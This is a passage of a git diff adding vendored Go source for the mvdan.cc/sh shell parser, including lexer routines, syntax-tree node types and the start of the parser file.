switch b { + case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': + default: + return false + } + } + return true +} + +func (p *Parser) advanceNameCont(r rune) { + // we know that r is a letter or underscore +loop: + for p.newLit(r); r != utf8.RuneSelf; r = p.rune() { + switch { + case 'a' <= r && r <= 'z': + case 'A' <= r && r <= 'Z': + case r == '_': + case '0' <= r && r <= '9': + case r == escNewl: + default: + break loop + } + } + p.tok, p.val = _LitWord, p.endLit() +} + +func (p *Parser) advanceLitOther(r rune) { + tok := _LitWord +loop: + for p.newLit(r); r != utf8.RuneSelf; r = p.rune() { + switch r { + case '\\': // escaped byte follows + p.rune() + case '\'', '"', '`', '$': + tok = _Lit + break loop + case '}': + if p.quote&allParamExp != 0 { + break loop + } + case '/': + if p.quote != paramExpExp { + break loop + } + case ':', '=', '%', '^', ',', '?', '!', '~', '*': + if p.quote&allArithmExpr != 0 || p.quote == paramExpName { + break loop + } + case '[', ']': + if p.lang != LangPOSIX && p.quote&allArithmExpr != 0 { + break loop + } + fallthrough + case '#', '@': + if p.quote&allParamReg != 0 { + break loop + } + case '+', '-', ' ', '\t', ';', '&', '>', '<', '|', '(', ')', '\n', '\r': + if p.quote&allKeepSpaces == 0 { + break loop + } + } + } + p.tok, p.val = tok, p.endLit() +} + +func (p *Parser) advanceLitNone(r rune) { + p.eqlOffs = -1 + tok := _LitWord +loop: + for p.newLit(r); r != utf8.RuneSelf; r = p.rune() { + switch r { + case ' ', '\t', '\n', '\r', '&', '|', ';', '(', ')': + break loop + case '\\': // escaped byte follows + p.rune() + case '>', '<': + if p.peekByte('(') { + tok = _Lit + } else if p.isLitRedir() { + tok = _LitRedir + } + break loop + case '`': + if p.quote != subCmdBckquo { + tok = _Lit + } + break loop + case '"', '\'', '$': + tok = _Lit + break loop + case '?', '*', '+', '@', '!': + if p.extendedGlob() { + tok = _Lit + break loop + } + case '=': + if p.eqlOffs < 0 { + p.eqlOffs = len(p.litBs) - 1 + } + case '[': + if p.lang != LangPOSIX && len(p.litBs) > 1 && p.litBs[0] != '[' { + tok = _Lit + break loop + } + } + } + p.tok, p.val = tok, p.endLit() +} + +func (p *Parser) advanceLitDquote(r rune) { + tok := _LitWord +loop: + for p.newLit(r); r != utf8.RuneSelf; r = p.rune() { + switch r { + case '"': + break loop + case '\\': // escaped byte follows + p.rune() + case escNewl, '`', '$': + tok = _Lit + break loop + } + } + p.tok, p.val = tok, p.endLit() +} + +func (p *Parser) advanceLitHdoc(r rune) { + // Unlike the rest of nextKeepSpaces quote states, we handle escaped + // newlines here. If lastTok==_Lit, then we know we're following an + // escaped newline, so the first line can't end the heredoc. + lastTok := p.tok + for r == escNewl { + r = p.rune() + lastTok = _Lit + } + p.pos = p.nextPos() + + p.tok = _Lit + p.newLit(r) + if p.quote == hdocBodyTabs { + for r == '\t' { + r = p.rune() + } + } + lStart := len(p.litBs) - 1 + stop := p.hdocStops[len(p.hdocStops)-1] + for ; ; r = p.rune() { + switch r { + case escNewl, '$': + p.val = p.endLit() + return + case '\\': // escaped byte follows + p.rune() + case '`': + if !p.backquoteEnd() { + p.val = p.endLit() + return + } + fallthrough + case '\n', utf8.RuneSelf: + if p.parsingDoc { + if r == utf8.RuneSelf { + p.tok = _LitWord + p.val = p.endLit() + return + } + } else if lStart == 0 && lastTok == _Lit { + // This line starts right after an escaped + // newline, so it should never end the heredoc. + } else if lStart >= 0 { + // Compare the current line with the stop word. + line := p.litBs[lStart:] + if r != utf8.RuneSelf && len(line) > 0 { + line = line[:len(line)-1] // minus trailing character + } + if bytes.Equal(line, stop) { + p.tok = _LitWord + p.val = p.endLit()[:lStart] + if p.val == "" { + p.tok = _Newl + } + p.hdocStops[len(p.hdocStops)-1] = nil + return + } + } + if r != '\n' { + return // hit an unexpected EOF or closing backquote + } + if p.quote == hdocBodyTabs { + for p.peekByte('\t') { + p.rune() + } + } + lStart = len(p.litBs) + } + } +} + +func (p *Parser) quotedHdocWord() *Word { + r := p.r + p.newLit(r) + pos := p.nextPos() + stop := p.hdocStops[len(p.hdocStops)-1] + for ; ; r = p.rune() { + if r == utf8.RuneSelf { + return nil + } + if p.quote == hdocBodyTabs { + for r == '\t' { + r = p.rune() + } + } + lStart := len(p.litBs) - 1 + runeLoop: + for { + switch r { + case utf8.RuneSelf, '\n': + break runeLoop + case '`': + if p.backquoteEnd() { + break runeLoop + } + case escNewl: + p.litBs = append(p.litBs, '\\', '\n') + break runeLoop + } + r = p.rune() + } + if lStart < 0 { + continue + } + // Compare the current line with the stop word. + line := p.litBs[lStart:] + if r != utf8.RuneSelf && len(line) > 0 { + line = line[:len(line)-1] // minus \n + } + if bytes.Equal(line, stop) { + p.hdocStops[len(p.hdocStops)-1] = nil + val := p.endLit()[:lStart] + if val == "" { + return nil + } + return p.wordOne(p.lit(pos, val)) + } + } +} + +func (p *Parser) advanceLitRe(r rune) { + for p.newLit(r); ; r = p.rune() { + switch r { + case '\\': + p.rune() + case '(': + p.rxOpenParens++ + case ')': + if p.rxOpenParens--; p.rxOpenParens < 0 { + p.tok, p.val = _LitWord, p.endLit() + p.quote = noState + return + } + case ' ', '\t', '\r', '\n', ';', '&', '>', '<': + if p.rxOpenParens <= 0 { + p.tok, p.val = _LitWord, p.endLit() + p.quote = noState + return + } + case '"', '\'', '$', '`': + p.tok, p.val = _Lit, p.endLit() + return + case utf8.RuneSelf: + p.tok, p.val = _LitWord, p.endLit() + p.quote = noState + return + } + } +} + +func testUnaryOp(val string) UnTestOperator { + switch val { + case "!": + return TsNot + case "-e", "-a": + return TsExists + case "-f": + return TsRegFile + case "-d": + return TsDirect + case "-c": + return TsCharSp + case "-b": + return TsBlckSp + case "-p": + return TsNmPipe + case "-S": + return TsSocket + case "-L", "-h": + return TsSmbLink + case "-k": + return TsSticky + case "-g": + return TsGIDSet + case "-u": + return TsUIDSet + case "-G": + return TsGrpOwn + case "-O": + return TsUsrOwn + case "-N": + return TsModif + case "-r": + return TsRead + case "-w": + return TsWrite + case "-x": + return TsExec + case "-s": + return TsNoEmpty + case "-t": + return TsFdTerm + case "-z": + return TsEmpStr + case "-n": + return TsNempStr + case "-o": + return TsOptSet + case "-v": + return TsVarSet + case "-R": + return TsRefVar + default: + return 0 + } +} + +func testBinaryOp(val string) BinTestOperator { + switch val { + case "=": + return TsMatchShort + case "==": + return TsMatch + case "!=": + return TsNoMatch + case "=~": + return TsReMatch + case "-nt": + return TsNewer + case "-ot": + return TsOlder + case "-ef": + return TsDevIno + case "-eq": + return TsEql + case "-ne": + return TsNeq + case "-le": + return TsLeq + case "-ge": + return TsGeq + case "-lt": + return TsLss + case "-gt": + return TsGtr + default: + return 0 + } +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/nodes.go b/vendor/mvdan.cc/sh/v3/syntax/nodes.go new file mode 100644 index 0000000000..88eb7feab5 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/nodes.go @@ -0,0 +1,953 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "strconv" + "strings" +) + +// Node represents a syntax tree node. +type Node interface { + // Pos returns the position of the first character of the node. Comments + // are ignored, except if the node is a *File. + Pos() Pos + // End returns the position of the character immediately after the node. + // If the character is a newline, the line number won't cross into the + // next line. Comments are ignored, except if the node is a *File. + End() Pos +} + +// File represents a shell source file. +type File struct { + Name string + + Stmts []*Stmt + Last []Comment +} + +func (f *File) Pos() Pos { return stmtsPos(f.Stmts, f.Last) } +func (f *File) End() Pos { return stmtsEnd(f.Stmts, f.Last) } + +func stmtsPos(stmts []*Stmt, last []Comment) Pos { + if len(stmts) > 0 { + s := stmts[0] + sPos := s.Pos() + if len(s.Comments) > 0 { + if cPos := s.Comments[0].Pos(); sPos.After(cPos) { + return cPos + } + } + return sPos + } + if len(last) > 0 { + return last[0].Pos() + } + return Pos{} +} + +func stmtsEnd(stmts []*Stmt, last []Comment) Pos { + if len(last) > 0 { + return last[len(last)-1].End() + } + if len(stmts) > 0 { + s := stmts[len(stmts)-1] + sEnd := s.End() + if len(s.Comments) > 0 { + if cEnd := s.Comments[0].End(); cEnd.After(sEnd) { + return cEnd + } + } + return sEnd + } + return Pos{} +} + +// Pos is a position within a shell source file. +type Pos struct { + offs, lineCol uint32 +} + +// We used to split line and column numbers evenly in 16 bits, but line numbers +// are significantly more important in practice. Use more bits for them. +const ( + lineBitSize = 18 + lineMax = (1 << lineBitSize) - 1 + + colBitSize = 32 - lineBitSize + colMax = (1 << colBitSize) - 1 + colBitMask = colMax +) + +// TODO(v4): consider using uint32 for Offset/Line/Col to better represent bit sizes. +// Or go with int64, which more closely resembles portable "sizes" elsewhere. +// The latter is probably nicest, as then we can change the number of internal +// bits later, and we can also do overflow checks for the user in NewPos. + +// NewPos creates a position with the given offset, line, and column. +// +// Note that Pos uses a limited number of bits to store these numbers. +// If line or column overflow their allocated space, they are replaced with 0. +func NewPos(offset, line, column uint) Pos { + if line > lineMax { + line = 0 // protect against overflows; rendered as "?" + } + if column > colMax { + column = 0 // protect against overflows; rendered as "?" + } + return Pos{ + offs: uint32(offset), + lineCol: (uint32(line) << colBitSize) | uint32(column), + } +} + +// Offset returns the byte offset of the position in the original source file. +// Byte offsets start at 0. +// +// Note that Offset is not protected against overflows; +// if an input is larger than 4GiB, the offset will wrap around to 0. +func (p Pos) Offset() uint { return uint(p.offs) } + +// Line returns the line number of the position, starting at 1. +// +// Line is protected against overflows; if an input has too many lines, extra +// lines will have a line number of 0, rendered as "?" by [Pos.String]. +func (p Pos) Line() uint { return uint(p.lineCol >> colBitSize) } + +// Col returns the column number of the position, starting at 1. It counts in +// bytes. +// +// Col is protected against overflows; if an input line has too many columns, +// extra columns will have a column number of 0, rendered as "?" by [Pos.String]. +func (p Pos) Col() uint { return uint(p.lineCol & colBitMask) } + +func (p Pos) String() string { + var b strings.Builder + if line := p.Line(); line > 0 { + b.WriteString(strconv.FormatUint(uint64(line), 10)) + } else { + b.WriteByte('?') + } + b.WriteByte(':') + if col := p.Col(); col > 0 { + b.WriteString(strconv.FormatUint(uint64(col), 10)) + } else { + b.WriteByte('?') + } + return b.String() +} + +// IsValid reports whether the position contains useful position information. +// Some positions returned via [Parse] may be invalid: for example, [Stmt.Semicolon] +// will only be valid if a statement contained a closing token such as ';'. +func (p Pos) IsValid() bool { return p != Pos{} } + +// After reports whether the position p is after p2. It is a more expressive +// version of p.Offset() > p2.Offset(). +func (p Pos) After(p2 Pos) bool { return p.offs > p2.offs } + +func posAddCol(p Pos, n int) Pos { + // TODO: guard against overflows + p.lineCol += uint32(n) + p.offs += uint32(n) + return p +} + +func posMax(p1, p2 Pos) Pos { + if p2.After(p1) { + return p2 + } + return p1 +} + +// Comment represents a single comment on a single line. +type Comment struct { + Hash Pos + Text string +} + +func (c *Comment) Pos() Pos { return c.Hash } +func (c *Comment) End() Pos { return posAddCol(c.Hash, 1+len(c.Text)) } + +// Stmt represents a statement, also known as a "complete command". It is +// compromised of a command and other components that may come before or after +// it. +type Stmt struct { + Comments []Comment + Cmd Command + Position Pos + Semicolon Pos // position of ';', '&', or '|&', if any + Negated bool // ! stmt + Background bool // stmt & + Coprocess bool // mksh's |& + + Redirs []*Redirect // stmt >a 0 { + end = posMax(end, s.Redirs[len(s.Redirs)-1].End()) + } + return end +} + +// Command represents all nodes that are simple or compound commands, including +// function declarations. +// +// These are *CallExpr, *IfClause, *WhileClause, *ForClause, *CaseClause, +// *Block, *Subshell, *BinaryCmd, *FuncDecl, *ArithmCmd, *TestClause, +// *DeclClause, *LetClause, *TimeClause, and *CoprocClause. +type Command interface { + Node + commandNode() +} + +func (*CallExpr) commandNode() {} +func (*IfClause) commandNode() {} +func (*WhileClause) commandNode() {} +func (*ForClause) commandNode() {} +func (*CaseClause) commandNode() {} +func (*Block) commandNode() {} +func (*Subshell) commandNode() {} +func (*BinaryCmd) commandNode() {} +func (*FuncDecl) commandNode() {} +func (*ArithmCmd) commandNode() {} +func (*TestClause) commandNode() {} +func (*DeclClause) commandNode() {} +func (*LetClause) commandNode() {} +func (*TimeClause) commandNode() {} +func (*CoprocClause) commandNode() {} +func (*TestDecl) commandNode() {} + +// Assign represents an assignment to a variable. +// +// Here and elsewhere, Index can mean either an index expression into an indexed +// array, or a string key into an associative array. +// +// If Index is non-nil, the value will be a word and not an array as nested +// arrays are not allowed. +// +// If Naked is true and Name is nil, the assignment is part of a DeclClause and +// the argument (in the Value field) will be evaluated at run-time. This +// includes parameter expansions, which may expand to assignments or options. +type Assign struct { + Append bool // += + Naked bool // without '=' + Name *Lit // must be a valid name + Index ArithmExpr // [i], ["k"] + Value *Word // =val + Array *ArrayExpr // =(arr) +} + +func (a *Assign) Pos() Pos { + if a.Name == nil { + return a.Value.Pos() + } + return a.Name.Pos() +} + +func (a *Assign) End() Pos { + if a.Value != nil { + return a.Value.End() + } + if a.Array != nil { + return a.Array.End() + } + if a.Index != nil { + return posAddCol(a.Index.End(), 2) + } + if a.Naked { + return a.Name.End() + } + return posAddCol(a.Name.End(), 1) +} + +// Redirect represents an input/output redirection. +type Redirect struct { + OpPos Pos + Op RedirOperator + N *Lit // fd>, or {varname}> in Bash + Word *Word // >word + Hdoc *Word // here-document body +} + +func (r *Redirect) Pos() Pos { + if r.N != nil { + return r.N.Pos() + } + return r.OpPos +} + +func (r *Redirect) End() Pos { + if r.Hdoc != nil { + return r.Hdoc.End() + } + return r.Word.End() +} + +// CallExpr represents a command execution or function call, otherwise known as +// a "simple command". +// +// If Args is empty, Assigns apply to the shell environment. Otherwise, they are +// variables that cannot be arrays and which only apply to the call. +type CallExpr struct { + Assigns []*Assign // a=x b=y args + Args []*Word +} + +func (c *CallExpr) Pos() Pos { + if len(c.Assigns) > 0 { + return c.Assigns[0].Pos() + } + return c.Args[0].Pos() +} + +func (c *CallExpr) End() Pos { + if len(c.Args) == 0 { + return c.Assigns[len(c.Assigns)-1].End() + } + return c.Args[len(c.Args)-1].End() +} + +// Subshell represents a series of commands that should be executed in a nested +// shell environment. +type Subshell struct { + Lparen, Rparen Pos + + Stmts []*Stmt + Last []Comment +} + +func (s *Subshell) Pos() Pos { return s.Lparen } +func (s *Subshell) End() Pos { return posAddCol(s.Rparen, 1) } + +// Block represents a series of commands that should be executed in a nested +// scope. It is essentially a list of statements within curly braces. +type Block struct { + Lbrace, Rbrace Pos + + Stmts []*Stmt + Last []Comment +} + +func (b *Block) Pos() Pos { return b.Lbrace } +func (b *Block) End() Pos { return posAddCol(b.Rbrace, 1) } + +// IfClause represents an if statement. +type IfClause struct { + Position Pos // position of the starting "if", "elif", or "else" token + ThenPos Pos // position of "then", empty if this is an "else" + FiPos Pos // position of "fi", shared with .Else if non-nil + + Cond []*Stmt + CondLast []Comment + Then []*Stmt + ThenLast []Comment + + Else *IfClause // if non-nil, an "elif" or an "else" + + Last []Comment // comments on the first "elif", "else", or "fi" +} + +func (c *IfClause) Pos() Pos { return c.Position } +func (c *IfClause) End() Pos { return posAddCol(c.FiPos, 2) } + +// WhileClause represents a while or an until clause. +type WhileClause struct { + WhilePos, DoPos, DonePos Pos + Until bool + + Cond []*Stmt + CondLast []Comment + Do []*Stmt + DoLast []Comment +} + +func (w *WhileClause) Pos() Pos { return w.WhilePos } +func (w *WhileClause) End() Pos { return posAddCol(w.DonePos, 4) } + +// ForClause represents a for or a select clause. The latter is only present in +// Bash. +type ForClause struct { + ForPos, DoPos, DonePos Pos + Select bool + Braces bool // deprecated form with { } instead of do/done + Loop Loop + + Do []*Stmt + DoLast []Comment +} + +func (f *ForClause) Pos() Pos { return f.ForPos } +func (f *ForClause) End() Pos { return posAddCol(f.DonePos, 4) } + +// Loop holds either *WordIter or *CStyleLoop. +type Loop interface { + Node + loopNode() +} + +func (*WordIter) loopNode() {} +func (*CStyleLoop) loopNode() {} + +// WordIter represents the iteration of a variable over a series of words in a +// for clause. If InPos is an invalid position, the "in" token was missing, so +// the iteration is over the shell's positional parameters. +type WordIter struct { + Name *Lit + InPos Pos // position of "in" + Items []*Word +} + +func (w *WordIter) Pos() Pos { return w.Name.Pos() } +func (w *WordIter) End() Pos { + if len(w.Items) > 0 { + return wordLastEnd(w.Items) + } + return posMax(w.Name.End(), posAddCol(w.InPos, 2)) +} + +// CStyleLoop represents the behavior of a for clause similar to the C +// language. +// +// This node will only appear with LangBash. +type CStyleLoop struct { + Lparen, Rparen Pos + // Init, Cond, Post can each be nil, if the for loop construct omits it. + Init, Cond, Post ArithmExpr +} + +func (c *CStyleLoop) Pos() Pos { return c.Lparen } +func (c *CStyleLoop) End() Pos { return posAddCol(c.Rparen, 2) } + +// BinaryCmd represents a binary expression between two statements. +type BinaryCmd struct { + OpPos Pos + Op BinCmdOperator + X, Y *Stmt +} + +func (b *BinaryCmd) Pos() Pos { return b.X.Pos() } +func (b *BinaryCmd) End() Pos { return b.Y.End() } + +// FuncDecl represents the declaration of a function. +type FuncDecl struct { + Position Pos + RsrvWord bool // non-posix "function f" style + Parens bool // with () parentheses, only meaningful with RsrvWord=true + Name *Lit + Body *Stmt +} + +func (f *FuncDecl) Pos() Pos { return f.Position } +func (f *FuncDecl) End() Pos { return f.Body.End() } + +// Word represents a shell word, containing one or more word parts contiguous to +// each other. The word is delimited by word boundaries, such as spaces, +// newlines, semicolons, or parentheses. +type Word struct { + Parts []WordPart +} + +func (w *Word) Pos() Pos { return w.Parts[0].Pos() } +func (w *Word) End() Pos { return w.Parts[len(w.Parts)-1].End() } + +// Lit returns the word as a literal value, if the word consists of *Lit nodes +// only. An empty string is returned otherwise. Words with multiple literals, +// which can appear in some edge cases, are handled properly. +// +// For example, the word "foo" will return "foo", but the word "foo${bar}" will +// return "". +func (w *Word) Lit() string { + // In the usual case, we'll have either a single part that's a literal, + // or one of the parts being a non-literal. Using strings.Join instead + // of a strings.Builder avoids extra work in these cases, since a single + // part is a shortcut, and many parts don't incur string copies. + lits := make([]string, 0, 1) + for _, part := range w.Parts { + lit, ok := part.(*Lit) + if !ok { + return "" + } + lits = append(lits, lit.Value) + } + return strings.Join(lits, "") +} + +// WordPart represents all nodes that can form part of a word. +// +// These are *Lit, *SglQuoted, *DblQuoted, *ParamExp, *CmdSubst, *ArithmExp, +// *ProcSubst, and *ExtGlob. +type WordPart interface { + Node + wordPartNode() +} + +func (*Lit) wordPartNode() {} +func (*SglQuoted) wordPartNode() {} +func (*DblQuoted) wordPartNode() {} +func (*ParamExp) wordPartNode() {} +func (*CmdSubst) wordPartNode() {} +func (*ArithmExp) wordPartNode() {} +func (*ProcSubst) wordPartNode() {} +func (*ExtGlob) wordPartNode() {} +func (*BraceExp) wordPartNode() {} + +// Lit represents a string literal. +// +// Note that a parsed string literal may not appear as-is in the original source +// code, as it is possible to split literals by escaping newlines. The splitting +// is lost, but the end position is not. +type Lit struct { + ValuePos, ValueEnd Pos + Value string +} + +func (l *Lit) Pos() Pos { return l.ValuePos } +func (l *Lit) End() Pos { return l.ValueEnd } + +// SglQuoted represents a string within single quotes. +type SglQuoted struct { + Left, Right Pos + Dollar bool // $'' + Value string +} + +func (q *SglQuoted) Pos() Pos { return q.Left } +func (q *SglQuoted) End() Pos { return posAddCol(q.Right, 1) } + +// DblQuoted represents a list of nodes within double quotes. +type DblQuoted struct { + Left, Right Pos + Dollar bool // $"" + Parts []WordPart +} + +func (q *DblQuoted) Pos() Pos { return q.Left } +func (q *DblQuoted) End() Pos { return posAddCol(q.Right, 1) } + +// CmdSubst represents a command substitution. +type CmdSubst struct { + Left, Right Pos + + Stmts []*Stmt + Last []Comment + + Backquotes bool // deprecated `foo` + TempFile bool // mksh's ${ foo;} + ReplyVar bool // mksh's ${|foo;} +} + +func (c *CmdSubst) Pos() Pos { return c.Left } +func (c *CmdSubst) End() Pos { return posAddCol(c.Right, 1) } + +// ParamExp represents a parameter expansion. +type ParamExp struct { + Dollar, Rbrace Pos + + Short bool // $a instead of ${a} + Excl bool // ${!a} + Length bool // ${#a} + Width bool // ${%a} + Param *Lit + Index ArithmExpr // ${a[i]}, ${a["k"]} + Slice *Slice // ${a:x:y} + Repl *Replace // ${a/x/y} + Names ParNamesOperator // ${!prefix*} or ${!prefix@} + Exp *Expansion // ${a:-b}, ${a#b}, etc +} + +func (p *ParamExp) Pos() Pos { return p.Dollar } +func (p *ParamExp) End() Pos { + if !p.Short { + return posAddCol(p.Rbrace, 1) + } + if p.Index != nil { + return posAddCol(p.Index.End(), 1) + } + return p.Param.End() +} + +func (p *ParamExp) nakedIndex() bool { + return p.Short && p.Index != nil +} + +// Slice represents a character slicing expression inside a ParamExp. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type Slice struct { + Offset, Length ArithmExpr +} + +// Replace represents a search and replace expression inside a ParamExp. +type Replace struct { + All bool + Orig, With *Word +} + +// Expansion represents string manipulation in a ParamExp other than those +// covered by Replace. +type Expansion struct { + Op ParExpOperator + Word *Word +} + +// ArithmExp represents an arithmetic expansion. +type ArithmExp struct { + Left, Right Pos + Bracket bool // deprecated $[expr] form + Unsigned bool // mksh's $((# expr)) + + X ArithmExpr +} + +func (a *ArithmExp) Pos() Pos { return a.Left } +func (a *ArithmExp) End() Pos { + if a.Bracket { + return posAddCol(a.Right, 1) + } + return posAddCol(a.Right, 2) +} + +// ArithmCmd represents an arithmetic command. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type ArithmCmd struct { + Left, Right Pos + Unsigned bool // mksh's ((# expr)) + + X ArithmExpr +} + +func (a *ArithmCmd) Pos() Pos { return a.Left } +func (a *ArithmCmd) End() Pos { return posAddCol(a.Right, 2) } + +// ArithmExpr represents all nodes that form arithmetic expressions. +// +// These are *BinaryArithm, *UnaryArithm, *ParenArithm, and *Word. +type ArithmExpr interface { + Node + arithmExprNode() +} + +func (*BinaryArithm) arithmExprNode() {} +func (*UnaryArithm) arithmExprNode() {} +func (*ParenArithm) arithmExprNode() {} +func (*Word) arithmExprNode() {} + +// BinaryArithm represents a binary arithmetic expression. +// +// If Op is any assign operator, X will be a word with a single *Lit whose value +// is a valid name. +// +// Ternary operators like "a ? b : c" are fit into this structure. Thus, if +// Op==TernQuest, Y will be a *BinaryArithm with Op==TernColon. Op can only be +// TernColon in that scenario. +type BinaryArithm struct { + OpPos Pos + Op BinAritOperator + X, Y ArithmExpr +} + +func (b *BinaryArithm) Pos() Pos { return b.X.Pos() } +func (b *BinaryArithm) End() Pos { return b.Y.End() } + +// UnaryArithm represents an unary arithmetic expression. The unary operator +// may come before or after the sub-expression. +// +// If Op is Inc or Dec, X will be a word with a single *Lit whose value is a +// valid name. +type UnaryArithm struct { + OpPos Pos + Op UnAritOperator + Post bool + X ArithmExpr +} + +func (u *UnaryArithm) Pos() Pos { + if u.Post { + return u.X.Pos() + } + return u.OpPos +} + +func (u *UnaryArithm) End() Pos { + if u.Post { + return posAddCol(u.OpPos, 2) + } + return u.X.End() +} + +// ParenArithm represents an arithmetic expression within parentheses. +type ParenArithm struct { + Lparen, Rparen Pos + + X ArithmExpr +} + +func (p *ParenArithm) Pos() Pos { return p.Lparen } +func (p *ParenArithm) End() Pos { return posAddCol(p.Rparen, 1) } + +// CaseClause represents a case (switch) clause. +type CaseClause struct { + Case, In, Esac Pos + Braces bool // deprecated mksh form with braces instead of in/esac + + Word *Word + Items []*CaseItem + Last []Comment +} + +func (c *CaseClause) Pos() Pos { return c.Case } +func (c *CaseClause) End() Pos { return posAddCol(c.Esac, 4) } + +// CaseItem represents a pattern list (case) within a CaseClause. +type CaseItem struct { + Op CaseOperator + OpPos Pos // unset if it was finished by "esac" + Comments []Comment + Patterns []*Word + + Stmts []*Stmt + Last []Comment +} + +func (c *CaseItem) Pos() Pos { return c.Patterns[0].Pos() } +func (c *CaseItem) End() Pos { + if c.OpPos.IsValid() { + return posAddCol(c.OpPos, len(c.Op.String())) + } + return stmtsEnd(c.Stmts, c.Last) +} + +// TestClause represents a Bash extended test clause. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type TestClause struct { + Left, Right Pos + + X TestExpr +} + +func (t *TestClause) Pos() Pos { return t.Left } +func (t *TestClause) End() Pos { return posAddCol(t.Right, 2) } + +// TestExpr represents all nodes that form test expressions. +// +// These are *BinaryTest, *UnaryTest, *ParenTest, and *Word. +type TestExpr interface { + Node + testExprNode() +} + +func (*BinaryTest) testExprNode() {} +func (*UnaryTest) testExprNode() {} +func (*ParenTest) testExprNode() {} +func (*Word) testExprNode() {} + +// BinaryTest represents a binary test expression. +type BinaryTest struct { + OpPos Pos + Op BinTestOperator + X, Y TestExpr +} + +func (b *BinaryTest) Pos() Pos { return b.X.Pos() } +func (b *BinaryTest) End() Pos { return b.Y.End() } + +// UnaryTest represents a unary test expression. The unary operator may come +// before or after the sub-expression. +type UnaryTest struct { + OpPos Pos + Op UnTestOperator + X TestExpr +} + +func (u *UnaryTest) Pos() Pos { return u.OpPos } +func (u *UnaryTest) End() Pos { return u.X.End() } + +// ParenTest represents a test expression within parentheses. +type ParenTest struct { + Lparen, Rparen Pos + + X TestExpr +} + +func (p *ParenTest) Pos() Pos { return p.Lparen } +func (p *ParenTest) End() Pos { return posAddCol(p.Rparen, 1) } + +// DeclClause represents a Bash declare clause. +// +// Args can contain a mix of regular and naked assignments. The naked +// assignments can represent either options or variable names. +// +// This node will only appear with LangBash. +type DeclClause struct { + // Variant is one of "declare", "local", "export", "readonly", + // "typeset", or "nameref". + Variant *Lit + Args []*Assign +} + +func (d *DeclClause) Pos() Pos { return d.Variant.Pos() } +func (d *DeclClause) End() Pos { + if len(d.Args) > 0 { + return d.Args[len(d.Args)-1].End() + } + return d.Variant.End() +} + +// ArrayExpr represents a Bash array expression. +// +// This node will only appear with LangBash. +type ArrayExpr struct { + Lparen, Rparen Pos + + Elems []*ArrayElem + Last []Comment +} + +func (a *ArrayExpr) Pos() Pos { return a.Lparen } +func (a *ArrayExpr) End() Pos { return posAddCol(a.Rparen, 1) } + +// ArrayElem represents a Bash array element. +// +// Index can be nil; for example, declare -a x=(value). +// Value can be nil; for example, declare -A x=([index]=). +// Finally, neither can be nil; for example, declare -A x=([index]=value) +type ArrayElem struct { + Index ArithmExpr + Value *Word + Comments []Comment +} + +func (a *ArrayElem) Pos() Pos { + if a.Index != nil { + return a.Index.Pos() + } + return a.Value.Pos() +} + +func (a *ArrayElem) End() Pos { + if a.Value != nil { + return a.Value.End() + } + return posAddCol(a.Index.Pos(), 1) +} + +// ExtGlob represents a Bash extended globbing expression. Note that these are +// parsed independently of whether shopt has been called or not. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type ExtGlob struct { + OpPos Pos + Op GlobOperator + Pattern *Lit +} + +func (e *ExtGlob) Pos() Pos { return e.OpPos } +func (e *ExtGlob) End() Pos { return posAddCol(e.Pattern.End(), 1) } + +// ProcSubst represents a Bash process substitution. +// +// This node will only appear with LangBash. +type ProcSubst struct { + OpPos, Rparen Pos + Op ProcOperator + + Stmts []*Stmt + Last []Comment +} + +func (s *ProcSubst) Pos() Pos { return s.OpPos } +func (s *ProcSubst) End() Pos { return posAddCol(s.Rparen, 1) } + +// TimeClause represents a Bash time clause. PosixFormat corresponds to the -p +// flag. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type TimeClause struct { + Time Pos + PosixFormat bool + Stmt *Stmt +} + +func (c *TimeClause) Pos() Pos { return c.Time } +func (c *TimeClause) End() Pos { + if c.Stmt == nil { + return posAddCol(c.Time, 4) + } + return c.Stmt.End() +} + +// CoprocClause represents a Bash coproc clause. +// +// This node will only appear with LangBash. +type CoprocClause struct { + Coproc Pos + Name *Word + Stmt *Stmt +} + +func (c *CoprocClause) Pos() Pos { return c.Coproc } +func (c *CoprocClause) End() Pos { return c.Stmt.End() } + +// LetClause represents a Bash let clause. +// +// This node will only appear in LangBash and LangMirBSDKorn. +type LetClause struct { + Let Pos + Exprs []ArithmExpr +} + +func (l *LetClause) Pos() Pos { return l.Let } +func (l *LetClause) End() Pos { return l.Exprs[len(l.Exprs)-1].End() } + +// BraceExp represents a Bash brace expression, such as "{a,f}" or "{1..10}". +// +// This node will only appear as a result of SplitBraces. +type BraceExp struct { + Sequence bool // {x..y[..incr]} instead of {x,y[,...]} + Elems []*Word +} + +func (b *BraceExp) Pos() Pos { + return posAddCol(b.Elems[0].Pos(), -1) +} + +func (b *BraceExp) End() Pos { + return posAddCol(wordLastEnd(b.Elems), 1) +} + +// TestDecl represents the declaration of a Bats test function. +type TestDecl struct { + Position Pos + Description *Word + Body *Stmt +} + +func (f *TestDecl) Pos() Pos { return f.Position } +func (f *TestDecl) End() Pos { return f.Body.End() } + +func wordLastEnd(ws []*Word) Pos { + if len(ws) == 0 { + return Pos{} + } + return ws[len(ws)-1].End() +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/parser.go b/vendor/mvdan.cc/sh/v3/syntax/parser.go new file mode 100644 index 0000000000..99ae17c21a --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/parser.go @@ -0,0 +1,2489 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "bytes" + "fmt" + "io" + "strconv" + "strings" + "unicode/utf8" +) + +// ParserOption is a function which can be passed to NewParser +// to alter its behavior. To apply option to existing Parser +// call it directly, for example KeepComments(true)(parser). +type ParserOption func(*Parser) + +// KeepComments makes the parser parse comments and attach them to +// nodes, as opposed to discarding them. +func KeepComments(enabled bool) ParserOption { + return func(p *Parser) { p.keepComments = enabled } +} + +// LangVariant describes a shell language variant to use when tokenizing and +// parsing shell code. The zero value is LangBash. +type LangVariant int + +const ( + // LangBash corresponds to the GNU Bash language, as described in its + // manual at https://www.gnu.org/software/bash/manual/bash.html. + // + // We currently follow Bash version 5.1. + // + // Its string representation is "bash". + LangBash LangVariant = iota + + // LangPOSIX corresponds to the 